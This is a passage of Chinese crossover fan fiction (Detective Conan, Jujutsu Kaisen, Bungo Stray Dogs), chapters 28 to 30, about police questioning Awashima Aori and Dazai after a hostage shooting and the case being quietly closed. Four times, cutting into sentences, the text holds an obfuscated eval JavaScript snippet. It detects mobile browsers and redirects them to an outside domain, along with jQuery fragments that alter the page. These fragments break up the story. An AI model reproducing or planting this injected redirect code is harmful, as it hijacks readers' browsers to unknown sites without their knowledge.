人质是在警方追捕犯人的过程中被抓的,这是警方的大失误。没能及时察觉到犯人身上有枪,这是警方犯的第二个错误。在此情况下,人质家属夺枪开枪究竟能不能酌情减刑,这是上层目前争执不下的点。 但是退一万步讲,即使讨论出结果,在提起公诉等阶段也很难实行。 因为淡岛青理是横滨来的。 横滨虽然离米花不远,但其混乱程度可是连三天一案的米花都要自愧不如。 政府失威,黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15828628|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手党横行,街头随时随地会爆发枪战,市民的人身安全和财产安全都不能得到保障。 更糟糕的是,上面对横滨的现状也无能为力,只能放任自流。 因为横滨政府的混乱,各方系统都很难和外界完成对接。横滨的信息不对外流通,他们无法调查出二号死者的身份,也不能确定淡岛青理的身份是否真的如她所说。 在东京的系统里甚至找不到淡岛青理的名字,这也使得接下来的一系列程序难以展开。 目暮警官见她哭得可怜,忍不住安慰她说:“也不用太担心,我们会结合实际情况给出最公正的处理的。” 淡岛青理蹬鼻子上脸:“那可以不坐牢吗?” 目暮警官:“……” 把坐不坐牢的问题先放一边,目暮警官还有几个问题要问。 “从子弹射中的位置来看,你显然能熟练使用枪支,能告诉我们为什么你会用枪吗?”犯人头上共有两处弹孔,一处是狙击手射中的太阳穴,一处则是正中眉心。 淡岛青理:“我是横滨人,会使用手枪自保很正常的。” 怕目暮警官不信,她眨眨眼睛重复道:“真的,我们横滨人都会这个!” 才到横滨一个多月的她坚称自己是横滨人。 目暮警官:“……” 离谱,但无法反驳。 他掏出一个装着照片的证物袋,展示给淡岛青理看,“这是二号死者的照片,你认识他吗?” 淡岛青理仔细打量了那照片上的脸,用自己不太灵光的脑袋仔细想了想:“不认识,没见过。” 她歪了歪头问:“为什么要问我这个?这个人和我有关系吗?” 目暮警官回答:“这个人是从横滨乘坐新干线来到米花的,和淡岛夫人你们乘坐的是同一班次。我们调查了沿路的监控,发现他的行动轨迹也是从米花车站前往波洛咖啡厅。有人曾目击到这个人,称其行为鬼祟可疑。我们怀疑,死者是一路跟踪某个人来到波洛咖啡厅附近的。” 犯人杀害一号死者时手法果断一击毙命,可见预谋已久。但他和二号死者打斗了许久,死者身上的刀伤也十分凌乱,很可能二号死者的出现并不在他的预料之内。 警方推测,二号死者来米花的目的很可能是跟踪某个人,因此他故意隐藏行踪走无人的小巷,没想到撞见了犯人的杀人现场。 二号死者身上的枪伤与犯人手中的枪吻合,枪身上也只检测出了犯人与死者两个人的指纹。初步推断,犯人手里的枪是从二号死者身上抢夺过来的。 佐藤警官询问:“淡岛夫人在横滨有没有什么仇家?或者有没有人想要杀你?” 淡岛青理想了想,说:“没有呢。我只是一个普通的单亲妈妈,对待邻里向来和善,平时也不敢与人起冲突。怎么会有人想要杀我呢?” 目暮警官没有对她的话提出质疑,只是说:“那好,如果你想起了什么请再联系我们警方。” 警察走了,走之前还在门口留了两个人。 淡岛青理:有一种在住vip牢房的错觉。 不过没关系,会有人来捞她的。 她一改刚才可怜巴巴的模样,打了个哈欠缩进被窝里。警察都不让人睡懒觉的,一大早就把她从床上叫起来,以至于她脑袋都不太灵光了。 她拍拍被子,安心入睡。 睡着的前一秒,她良心发现地在心里给被她抢了配枪的小警察道了个歉,希望他没被骂太惨。 感觉好像还忘了什么……呼呼呼…… 28.第 28 章 东京都立咒术高等专门学校。 “嗨呀,惠酱!” 伏黑惠宿舍的门被砰的一下推开,身形高大的白发无良教师扭动身躯摆出一个牛郎般的造型倚在门框上,并冲少年抛了个媚眼。 伏黑惠倚在床头,单手按动着手机按键,头也不抬地说:“在忙,没空,任务自己做。” 五条悟一下子凑到他跟前,用女高中生一般的语气抱怨道:“好无情啊惠酱,老师好伤心的。” 他探头去看伏黑惠的手机屏幕:“让我看看,你该不会是在和小姑娘聊天吧?可恶,学生怎么能比老师先谈恋爱?我要跟青理酱告状!” 伏黑惠将他的脑袋推远,一边回复短信一边说:“是住在隔壁的松本小姐的短信,我走之前托了她照看一下淡岛夫人。” 五条悟:“哎?所以出什么事了吗?” “松本小姐说家里已经两天没有人回来了。” 伏黑惠回复完短信,又查看了一遍收件箱。 上次淡岛青理和他联系,还是两天前说去米花看望津美纪,之后就没了消息。这两天里,津美纪也没有给他发过消息。 五条悟:“去看望津美纪的话,在津美纪那里住几天也很正常吧?” 伏黑惠面色冰冷:“问题在于,四个人的定位都在米花医院。” “嘶——”五条悟夸张地倒抽一口气,“你竟然给青理酱装定位!太变态了,惠!” 没有理会五条悟咋咋呼呼的叫喊,伏黑惠认真地凝视着手机。 屏幕上四个红点聚集在一起,在狭小的屏幕上凑成一团。如果地点不是在医院的话,还是一幕很温馨的家庭场景。 查看历史轨迹,其他人的定位信号偶尔还会移动,或者干脆消失一段时间,只有代表淡岛夫人的红点一动不动。 所以淡岛夫人住院了。所有人都知道,但是没人告诉他。 伏黑惠面无表情地看了一会儿屏幕,突然下床开始穿外套。 “惠你去哪儿?”五条悟正低着头短信轰炸淡岛青理,问问是怎么回事,一抬头却见伏黑惠已经走到了门口。 “去米花。” 既然不想让他知道,那他就装作不知道,伏黑惠想。他可以趁着夜色去看一眼情况,然后再回来。 “咦?青理回我消息了!”五条悟兴奋地举起手机。 伏黑惠迈出寝室的脚收了回来,“淡岛夫人怎么说?” 五条悟看一眼手机再看一眼伏黑惠,用一种欠揍的语气说:“哎呀,青理酱不让我告诉你呢,这可怎么办啊?” 伏黑惠:“……” 发现伏黑惠满脸写着无语,五条悟适时地停止了逗弄:“好了好了,青理酱没事,就是晕倒了,现在已经可以活蹦乱跳了。” 闻言伏黑惠慢慢平静下来,紧绷的脊背也逐渐放松。 “嗯,没事就好。” 至于瞒着他这件事,他可以不计较。 其实伏黑惠知道,自己可能对淡岛夫人过于依赖了。虽然他常说淡岛夫人不能离开他,实际上是他离不开淡岛夫人。 看不见她的身影,他总是无法安定,害怕在他离开的时间里,她会无声无息地消失在某个角落。 五条老师和家入小姐一直坚持让他来高专上学,其中一个原因也是希望他能借此机会戒断。 淡岛夫人是不是也是这么想的呢?所以才劝他来到高专。 所以才什么都不告诉他。 “啊,青理酱说,出问题的是那个太宰,他被当人质挟持了,虽然最后被救回来了,但是受了不小的惊吓。”五条悟读着淡岛青理给他发的消息,怀疑地挑起了眉头。 那个叫太宰的小子受到了惊吓?真的假的? 听到太宰治的名字,伏黑惠条件反射地捏了捏眉心,感觉头好像开始幻痛了。 “太宰那家伙又在搞什么?”伏黑惠的语气略微有些烦躁。以他对太宰治的了解,很难说被劫持是不是太宰故意的。 说了遇到危险给他打电话,那家伙是一点也没听进去啊。 五条悟向后一仰头,靠在椅背上望着天花板,懒洋洋地说:“那个小家伙有点意思,后来我托冥冥查了他的来历,你猜怎么样?” 伏黑惠不接话,五条悟也不在意,自顾自地说:“没想到他还是一个离家出走的小少爷。” “他来自青森,离开家族后一路独行,目标明确地来到了横滨。” 伏黑惠心念一动,抬起了双眼。 “没错!”五条悟看见他怔然的表情,抬手打了个响指。 “在里世界,横滨那个地方除了黑手党,最有名的就是异能者的存在了。所以我们之前可能想错了,他不是术式的拥有者,而是异能者。” “难怪……” 这样一来,很多事情就可以想通了。 比如那个叫森欧外的人为什么会对太宰感兴趣。 这样一想,伏黑惠有些无奈。 森欧外对太宰有所图谋,必然不会善罢甘休。虽然仅见过一面,但可以断定那个森欧外是个心机深沉的人,淡岛夫人真的争得过他吗? 太宰最近前往镭钵街的频率高了不少,似乎有想要离开的意向,淡岛夫人知道后会哭的吧? 听闻他的烦恼,五条悟不满地噘起嘴:“哈?青理酱有那么喜欢那个叫太宰治的家伙吗?听硝子说,那家伙性格可不怎么好啊。” 伏黑惠看了一眼坐没坐相的男人,心说你有什么资格评价别人的性格。 不过…… 他摩挲着手机上的小狗吊坠,“淡岛夫人似乎……” “嗯?似乎什么?” 伏黑惠皱了一下眉:“我形容不上来,淡岛夫人对他似乎有些特别。” 这个特别并不是指她对太宰有求必应百依百顺,只要不触碰到她的禁区,她对所有孩子都是这副模样。 真正让伏黑惠感觉意外的,是淡岛青理与太宰治所保持的距离感。 是的,距离感。 很难把这个词和淡岛青理联系起来吧?毕竟她看起来那么喜欢太宰治,恨不得将他捧在掌心。 可是伏黑惠与淡岛夫人相识十二年,在一起生活了九年,他很了解淡岛夫人的习惯。 对于喜欢的小孩,她一向不吝啬于亲亲抱抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834404|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,甚至津美纪刚到淡岛家时与淡岛夫人睡的都是一张床。等到伏黑惠长大一些,他就不准淡岛夫人再亲他了,但搂搂抱抱还是逃不了的。 然而太宰来到家中的这段时间里,除了给他处理伤口,淡岛夫人与他几乎没有任何身体接触。没有动不动就摸头,没有高兴的时候就抱起来转一圈(这个动作淡岛夫人已经不能对自己做了,但太宰的身高还可以),也没有在出门的时候牵着他的手…… 或许在别人看来这是一个成熟的大人应有的模样,但在伏黑惠看来很反常。 他并不否认淡岛夫人对太宰的喜爱,只是那种强烈的矛盾感让他难以判断淡岛夫人的真实想法。 五条悟不了解伏黑惠的困惑,他没有亲眼见过淡岛青理与太宰治的相处,对于伏黑惠的担忧,他只能理解为小孩子脾气。 “哎?该不会是青理酱更喜欢那个太宰,惠你吃醋了吧?” 伏黑惠再次将他推远,冷静地说:“请您不要以己度人。” 他睫毛轻颤了两下,神色不明,“有时候,我觉得淡岛夫人是在观察太宰,观察他身上发生的一切。” 不靠近,不远离,不干涉,不置喙。 只要太宰还处在她目之所及的范围内,那么他所做的任何事情都不会被阻止。 五条悟听了后若有所思:“青理酱,听起来很渣呢。” 伏黑惠立刻说:“淡岛夫人不是那样的人,这其中一定有什么原因。” “嘛,我当然知道,”五条悟坐直身体整理了一下眼睛上的黑色眼罩,微微勾起唇角,“我开始有点感兴趣了呢,对那位太宰君。” 他站起身出门,留下一句:“不过那是之后要做的事了,现在老师要去出任务了,你记得叫上野蔷薇和悠仁一起自主训练啊!” · “哈啾!哈啾!” 太宰治接过旁边的人递过来的纸巾,用力擦了一下鼻子,然后有气无力地趴在桌子上。 “我不是说过了吗?警官先生。我什么也没和犯人说,我只是让他赶紧放了我,不然警察不会放过他的。谁知道他为什么那么情绪不稳定啊?我也好害怕的,好吓人啊。” 警局的一间接待室里,此时正进行一场谈话。关于太宰治在被挟持过程中到底和犯人说了什么,使得犯人最后即使不逃跑也要杀他。 安室透维持着得体的笑容,面不改色地说:“你认错了,小朋友。我不是警察,只是一名私家侦探。” “哎?”太宰治没有反驳,只是说,“为什么私家侦探也可以对我进行审讯啊。” 佐藤美和子给他倒了杯茶,尽量放轻了声音:“你误会了,你也是受害者,我们怎么会审讯你呢?我们叫你来只是想同你谈谈。” 太宰治非常委屈:“可是警察姐姐,我真的什么也没说啊。” 早出晚归的那段日子里,他原本在淡岛青理的照料下长出来的一点肉又消失了。海藻般蓬松卷曲的黑色碎发包裹着巴掌大的小脸,看起来瘦瘦小小的一只,身上还缠着绷带,缩在椅子上无助的样子很能激起女性的母爱。 至少在观察室里的小兰被骗到了。 29.第 29 章 “爸爸,”毛利兰无措地看向毛利小五郎,“已经谈了半个小时了,还不可以让他走吗?他看起来真的什么都不知道。” 毛利小五郎用力挥挥手说:“怎么可能?这小子如果不是说了什么,犯人的情绪起伏不可能那么奇怪。” 江户川柯南虽然什么也没说,但心里是很赞同小五郎叔叔的说法的。仔细想想,那天的事情真是处处都透露着巧合。 从横滨来的二号死者,和突然冒出来的同样是从横滨来的人质,以及犯人后来不正常的表现,这其中绝对有什么不对劲的地方。 只是警方什么疑点也没发现。 犯人手里的枪只检测出了犯人和二号死者的指纹,现场遗留的二号死者的外套上也检查出了硝烟反应。这么看来,就是犯人在与二号死者打斗过程中抢夺了二号死者的枪,并用二号死者的外套做遮挡物开了枪。 但江户川柯南一直就是觉得哪里不对劲,可能还是因为人质的身份和出现的时机都太巧合了。 毛利兰:“可是你们根本没有任何证据啊,他才只有十四岁,你们这样无缘无故地怀疑他,很过分哎。” 毛利小五郎皱着眉头:“知道啦知道啦,我们又不会拘留他,谈一谈就会放他走了。你要是看不下去,就赶紧回家吧。” 毛利兰生气地道:“那怎么行!你们知不知道你们就这样把津美纪的弟弟带走了,津美纪有多担心!她一个人又要照顾淡岛夫人,又要担心弟弟妹妹,真的很辛苦。我不走,津美纪拜托了我帮忙照看弟弟,我一定要在这里看着才行。” 又过了十分钟,佐藤警官和安室透什么有用的消息都没问出来,终于还是在毛利兰担忧的目光中把人放了出来。 佐藤警官仍然面色平和,看不出一点不耐烦:“那么太宰君,今天就到这里吧,我送你回去。不过如果之后你想起了什么,欢迎随时来找我。” 毛利兰连忙上前,对佐藤美和子说:“佐藤警官,我来送他回去就好,他的姐姐是我的朋友。” 佐藤美和子对小兰当然是放心的,于是就同意了:“那就麻烦你了,小兰。” 安室透走过来说:“那我也和你们一起吧,正好也去探望一下淡岛夫人。” 毛利兰自然是不会反对,她对太宰治说:“你好,太宰君,你还记得我吗?我叫毛利兰,是你姐姐的朋友,你叫我小兰姐姐就好。” 太宰治不作妖的时候,大概是比任何人都懂得如何讨人喜欢的。 他做出一副乖顺的样子,甜甜地喊了声“小兰姐姐”,看得江户川柯南牙痒痒。 见几人离开,江户川柯南连忙追了上去:“小兰姐姐,我也想去看望淡岛夫人!” …… 毛利兰几人一起离开了警局,而在接待室不远处的办公室里,高木警官正哭丧着一张脸写着检讨书。 路过的同事幸灾乐祸地拍了拍他的肩膀:“你小子,好好反省啊,听说配枪被抢走了?啧啧啧,丢人啊。” 高木警官悲痛地说:“这种事就不要再宣扬了,我已经够惨了!” “高木警官,你怎么了?” 高木涉低头,见几个小脑袋从办公桌后冒了出来。 是少年侦探团的几小只。 “是你们啊,你们怎么来这里了?” 吉田步美回答:“今天放学路上发生了一起抢劫案,我们是目击证人,来警局做笔录的。高木警官,你怎么很不开心的样子?” 高木警官苦笑着叹了口气:“别提了,我闯大祸了,正在写检讨呢。” 灰原哀明白了:“是因为配枪被淡岛夫人抢走了吧?” 配枪离手可是大过,高木警官估计要面临不轻的惩罚。不过话说回来,那位淡岛夫人是做什么的?能在那么短的时间内抢走高木警官手里的配枪,还赶在犯人开枪前击中了犯人。 圆谷光彦担心地说:“那淡岛夫人呢?也要受惩罚吗?” 高木警官:“是啊,上面已经开了两天的会了,估计很快就会有结果了。” 吉田步美很难过:“怎么这样,淡岛阿姨的孩子被坏人挟持,她还要被罚。” 灰原哀:“那也是没办法的事,那么多人看见了,就算目暮警官想徇私都很难。” 不过,媒体对于这件事的反应似乎太过平淡了,相关话题的热度正在飞速下降,似乎除了警方以外,还有别的什么势力在故意压消息。 圆谷光彦说:“看警视厅的大家好像很忙的样子,难道那桩案子还有哪里没调查清楚吗?” “啊,那个啊,”高木警官弯腰小声跟几人说,“其实还有一个疑点,我们一直没弄明白。” “什么疑点啊?” “鉴识科的人员在凶案现场的一个角落里,还发现了一把手枪,样式与犯人手里的那把一样,而且枪身上面也有二号死者的指纹。正常来说,一个犯人不会同时带两把手枪吧?” 吉田步美质疑:“为什么?电视里也有拿着双枪的匪徒啊,一手拿一把枪,突突突突就杀了好多人。” 高木警官:“那都是在战斗场面啦,黑手党打斗或者抢劫/银行等重要机关的时候确实会有人用双枪,因为那样威慑力更大。但是二号死者很明显是在进行跟踪,这种需要隐蔽行踪进行伪装的活动,携带两支手枪只会增加暴露的风险。” 灰原哀:“所以呢?警方觉得其中一把手枪不是二号死者的?” 高木警官苦笑:“也只是有这个想法而已,毕竟我们没有任何能支撑这个怀疑的证据。” 他想了想,又低声说:“其实还有一点,淡岛夫人明明在米花居住过,但系统里查不到她的任何资料,我们觉得淡岛夫人的身份可能有些问题。” 灰原哀瞪圆了眼睛,喂喂喂,这是可以跟我们说的吗?! 这时,目暮警官拿着一沓文件走了进来,看见少年侦探团愣了一下:“你们几个怎么也在这里?” 几个小家伙又把理由说了一遍。 “原来如此,”目暮警官说,“你们先去接待室玩一会儿吧,一会儿可能需要你们帮个小忙。高木,你去把知道案情的警员都叫到我办公室来。” 高木警官立刻领命,放下手里的检讨去叫人。 过了一会儿,目暮警官的办公室站满了人。 目暮警官:怎么这么多人…… “咳咳,”他清了一下嗓子,严肃地说,“关于案件的后续,上面希望我们停止调查。” 话音刚落,一片哗然。 “为什么?” “什么意思?!” 目暮警官:“意思就是,这件案子可以结案了。犯人中川岩上与死者藤原近泽因过往经济纠纷产生矛盾,中川岩上因此预谋杀害了藤原近泽。行凶过程中因被人目击,故杀人灭口。犯人逃跑过程中挟持人质,被狙击手击毙身亡。” 佐藤美和子问:“可是二号死者的身份呢?他身上为什么有枪?这些还没搞清楚!” 目暮警官正了正帽子,声音低沉地说:“上面的意思是不用再查了,按照上面说的撰写结案报告。顺便,高木,你的检讨不用写了,惩罚也撤销。” 高木警官一整个愣住:“啊?真的吗?为什么?” 目暮警官:“总之,犯人是狙击手击毙的,中间没有发生任何意外情况,明白了吗?” 千叶警官说:“意思是说,淡岛夫人不会被起诉了?” 目暮警官点头。说实话,他也很困惑。 警局高层开了两天的会,好不容易勉强达成共识,对淡岛夫人从轻处理。结果上面直接下来一道命令,让他们当作什么也没发生。 虽然淡岛夫人不用受罚,大家都还挺开心的,可是为什么啊? 佐藤美和子疑惑地问:“难不成那位淡岛夫人真有什么特殊身份吗?” 目暮警官用力咳了两声,示意佐藤不要说这么危险的话题:“这就不是我们该过问的了。总之,这道命令是走了正规流程的,之后所有人都不要再提这件事了,密切关注媒体的消息,禁止一切相关报道。” 之后目暮警官又来到了接待室,对少年侦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840933|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探团的几个小朋友说:“有件事情需要拜托你们。” 他告诉了少年侦探团,警方决定不追究淡岛青理的责任,希望以后大家都不要再提及这件事了。 圆谷光彦拍拍胸膛:“你放心吧目暮警官,我们才不会乱说!” 吉田步美问:“那么淡岛阿姨知道这个消息了吗?” “我们还没有来得及通知她。” 吉田步美闻言开心地说:“太好了!那让我们去告诉淡岛阿姨这个好消息吧!” 目暮警官想了想,倒是没问题。 于是几个小朋友在佐藤警官的陪同下前往医院。 凭借佐藤警官出神入化的车技,前后两拨人马竟然同时到达了医院。 · 时隔几日,淡岛青理的病房里再次挤满了人。 “真的吗?我不会被罚了?” 淡岛青理攥着佐藤美和子的手,感动得泪眼汪汪:“谢谢你们,你们都是大好人。” 佐藤警官无奈:“但是批评教育还是少不了的,目暮警官的意思是要你写一份一万字的检讨书交给他。” 伏黑津美纪上下检查了太宰治一番,见他全须全尾地回来了,也松了口气。 看见这一幕的佐藤美和子:……当我们警局是什么龙潭虎穴吗? 伏黑津美纪谢过了毛利兰,对淡岛青理说:“太好了,妈妈,你可以带着治和莉帕回横滨了。” 从前她是不相信淡岛青理“米花风水有问题”的说法的。但是这次三人来到米花,连落脚的地方都没去就遇到了这么大的麻烦,饶是她再不信邪也不得不承认米花确实不怎么宜居了。 淡岛青理分外伤心:“津美纪要赶我走吗?呜呜呜呜呜呜呜” “我不是那个意思啦。” 津美纪给少年侦探团的几个小朋友拿了水果和零食,给小兰佐藤美和子和安室透倒了茶。 “总之,辛苦这些天警官们还有小兰和安室先生的照顾了。还有少年侦探团的几位,谢谢你们来通知我们这个好消息。” 心头的一块大石头放下,病房里的气氛其乐融融。 大家坐着闲聊了一会,话题不知怎么的就转到了太宰治身上。 淡岛青理说:“是我的错,是我把太宰独自留在家里还没给他留钥匙,太宰才会来米花找我的。” 小岛元太摸摸后脑,毫不客气地说:“淡岛阿姨也太粗心了吧。” 江户川柯南看了看趴在病床边拨弄着玻璃球玩的少年,出声询问:“太宰哥哥,你身上的绷带是怎么回事啊?” 毛利兰急忙伸手捂他的嘴:“柯南……” 圆谷光彦也投来不赞同的目光。 柯南也太没有礼貌了,身上缠了那么多绷带一看就是受了很重的伤啊,怎么能揭别人伤疤呢? 鸢色的眼睛沉沉地望过来,面色阴郁的少年语气平淡:“有没有人告诉过你,不要探究别人的秘密,小侦探?” 江户川柯南和那仿佛裹挟着淤泥一般的视线对上,莫名地感觉到一丝不适。 他后退了一步尬笑着说:“哈哈哈哈哈哈,人家只是单纯的好奇而已。” 一个巴掌毫不客气地呼在了太宰治后脑勺上。 莉帕用小皮鞋踢他的鞋子,气呼呼地说:“你在这里装什么深沉啊!把水晶球还给我!那是津美纪给我买的最新款!” 太宰治挨了一巴掌,眼神一下子清澈许多,他站直身体高举双手说:“好啊,那你自己拿啊,小矮子!” 莉帕气得绕着他蹦高:“还给我!还给我!” 眼看着太宰治像逗猫一样逗莉帕,刚刚营造出来的深沉形象完全破灭,少年侦探团的几小只忍不住聚在一起嘀嘀咕咕。 圆谷光彦:“好恶劣啊,莉帕的哥哥。” 吉田步美:“是啊是啊,怎么能这么欺负莉帕?” 小岛元太:“真是糟糕的哥哥,还好我没有哥哥。” 灰原哀则是沉默了一下,不敢回忆自己之前在咖啡厅说的理解他,是理解了个什么东西。 30.第 30 章 几人闲聊了一会儿,为了淡岛夫人能好好休息,安室透很快就起身告辞了,也不知道他来这一趟是为了什么,茶都没喝几口。 江户川柯南见状也找理由跟着他走了。没多久,毛利兰佐藤警官和少年侦探团的几小只也陆续离开。 病房里一下子安静了许多,淡岛青理松了口气,像被抽干精气的干尸一样直挺挺地躺倒在床上。 人好多,感觉把这一年要见的人都见完了。 津美纪让几人赶紧收拾一下行李,明天就办手续出院。 “还有,妈妈不要忘记你的检讨。下次不准再做这么危险的事了,你有没有想过万一伤到治怎么办?” 淡岛青理还从来没写过检讨这种东西,她抓耳挠腮,最后决定找人代笔。 至于人选,当然是万能的惠酱了! 对了,惠。 淡岛青理终于想起了这次来米花的目的。 “津美纪,有件事情忘记跟你说了,你不要生气哦。” “是关于惠上学的事情吧?” 津美纪一边收拾莉帕和太宰治的行李,一边无奈地说:“惠已经在短信里和我说过了。你三天没联系他,消息也不回,他很担心你们,就给我发了消息。” “既然惠已经决定了,我也没办法阻拦什么。他一向是个有主意的,就相信他好了。” 太宰治趁机给伏黑惠上眼药:“伏黑君去那么偏僻的地方上学,都没有考虑过淡岛夫人的心情哎,淡岛夫人多担心啊。” 莉帕怼他:“你又好到哪里去啊!还不是天天让青理担心!” 太宰治可怜巴巴地说:“人家只是想赚些钱给淡岛夫人补贴家用嘛,结果我被黑心资本家无情奴役一整天后,回到家却发现被关在了家门外。好不容易找来这里,还被坏人劫持了,我好惨啊。” 淡岛青理羞愧地低下了头。 “好了好了,”津美纪打圆场,“治还小,活泼一点也很正常,惠在他这么大的时候也是整日不着家的。”她的话充满偏袒,丝毫不记得太宰治只比伏黑惠小了一岁。 津美纪说完,一转身却愣了一下:“治,你在做什么?” 只见身穿黑衣的小少年正趴在地板上匍匐前进,黑色的外套散开在地上,像一只阴暗爬行的黑泥怪。 “我刚刚看到了一只蟑螂哦。” “什么?!” 莉帕惊得跳到了病床上,尖叫着让太宰治赶紧打死它! 太宰治假模假样地找了一会,把粘在床脚的黑色小圆片拿了起来。 “咦?不是蟑螂。”他指尖用力一捻,那东西碎成了几半。 “原来看错了,没有蟑螂。” 莉帕震怒:“你是在耍我吗?” · 听着耳机里传来的刺耳杂音,安室透摘下了耳机。 江户川柯南问他:“你觉得他会是故意的吗?” 安室透回答不上来。 尽管警方已经结案,但江户川柯南仍然觉得这里面大有问题。 通过采集目击者的证词可以得出,二号死者与淡岛夫人的行踪完全重叠,他在跟踪的人很可能就是淡岛夫人,但警方没有证据证明这一点,因为在二号死者身上并没有发现与淡岛夫人有关的物件。 可是真的有那么巧吗?死者在跟踪暗杀对象的时候被杀害,凶手在逃跑过程中劫持的人质又是暗杀对象的孩子,最后凶手被击毙,知情人士无一生还。 江户川柯南凑近安室透,在他耳边说:“你是不是还知道些什么?” 安室透挑眉:“我应该知道什么?” 江户川柯南分析:“这次的事情很明显是警方高层有人要保淡岛夫人,我以为你会知道什么内幕消息啊。” 其实,关于淡岛夫人的身份,江户川柯南有了一点不太靠谱的猜想。 首先,这种违反法律的包庇,很难不让人想到淡岛夫人是不是和一些权贵有什么沾亲带故的关系。 但是他与淡岛夫人也认识六年了,他的妈妈更是与淡岛夫人关系亲密,知道淡岛夫人的家庭构成十分简单。淡岛夫人没有父母,也没有别的亲戚,只有几个孩子相依为命,生活虽然过得不错但也称不上富贵。 而且现在几人还移居到了横滨——没有哪个权贵会把自己的亲属放到横滨的。 老实说,淡岛夫人移居横滨这件事本身就让江户川柯南想不通。那可是战乱的影响还没彻底消除,黑手党比公职人员还要多的横滨啊!淡岛夫人为什么要搬去那里呢? 现在江户川柯南却有点儿想通了。 精湛的枪法,被消除的身份资料,突然的搬迁和来自神秘高层的支持……江户川柯南怀疑淡岛夫人还有另一个身份 ——警视厅派去横滨的卧底! 得出这个结论后,柯南嘴巴微张,露出了猫猫宇宙升华的表情。 等一下等一下,哪里不太对吧?淡岛夫人做卧底,真的假的?她迷糊起来可是跟本堂瑛祐一个水平啊! 感性和理性在他的脑海里打架,一边说“淡岛夫人做卧底,不可能,绝对不可能”,另一边说“你还有比这更合理的解释吗?说不定迷糊只是淡岛夫人的伪装呢?” 最后理性小人一拳K.O掉了感性小人,江户川柯南握拳,他一定会调查清楚的! …… 时隔三日,淡岛青理终于走出了医院的大门。 她用力呼吸了一口新鲜空气,对津美纪说:“真的不用我照顾你几天吗?” 津美纪温柔但强硬地拒绝了。 到底是谁在照顾谁啊? 淡岛青理只能遗憾地买了晚上回横滨的车票。 在走之前,淡岛青理把太宰治留在津美纪这里,带着莉帕去见了个人。 其实江户川柯南的猜测虽然离谱,但也不算错。 只不过在今天之前她还不是卧底。 银白色的跑车在高速上轰鸣而过,银发金瞳的女孩坐在副驾上,一边在手机上打字一边说:“我让人把你的身份录入了警察厅系统的外派卧底名单中,之后你再有什么事情警方都会给你行个方便。” “哇哦,”淡岛青理一袭红裙戴着墨镜,一边注意着导航的路线一边感慨,“那我岂不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849536|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无痛入编?” 莉帕翻了个白眼:“想多了,只是个名字而已。警察厅内的上层都会以为你是别的领导手下的卧底,实际上你谁的都不是。没有领导,不用汇报工作,当然也没有工资拿。” 淡岛青理耸耸肩:“好吧,天下没有白吃的午餐。” 她随口追问:“是谁做的?你在警视厅还有人脉?” 女孩:“没有人脉,但有卧底。” 淡岛青理:“……” “告诉我吧,莉帕,你在那个组织里究竟是什么角色啊?怎么连卧底都能指使?提前告诉我,也让我心里有个数嘛。” “保密,”莉帕认真地回复着手机上的邮件,并且用她说过的话回怼她,“少操心我的事,多操心你自己。” · 另一边,被托付了照看弟弟重任的津美纪有些无措。 她和太宰治还不太熟,不知道他喜欢什么。在去游乐园去图书馆去商场的提议都被拒绝后,她带着太宰治回到了她的住处。 今天周三,昴先生没在家,不知道是不是去实验室了。 因为本质上还是别人的房子,所以太宰治没有随意参观,只是坐在沙发上乖乖地喝津美纪给他准备的牛奶。 “治现在还是矮了些,要多喝牛奶多吃饭才行。” 十四岁的少年看起来还小小的一只,有些发育不良的样子,津美纪很担心他未来的身高。 太宰治心口中了一刀。 他转移话题:“津美纪知道淡岛夫人和莉帕是去见谁了吗?” 津美纪翻出几袋零食放到他面前:“应该是去看诸伏警官了吧?” “诸伏警官?”太宰治眨眨眼睛。是没听过的名字。 “治不知道吗?莉帕原本是寄住在诸伏警官家中的,直到我们和妈妈搬到米花之后才来和我们一起住。” 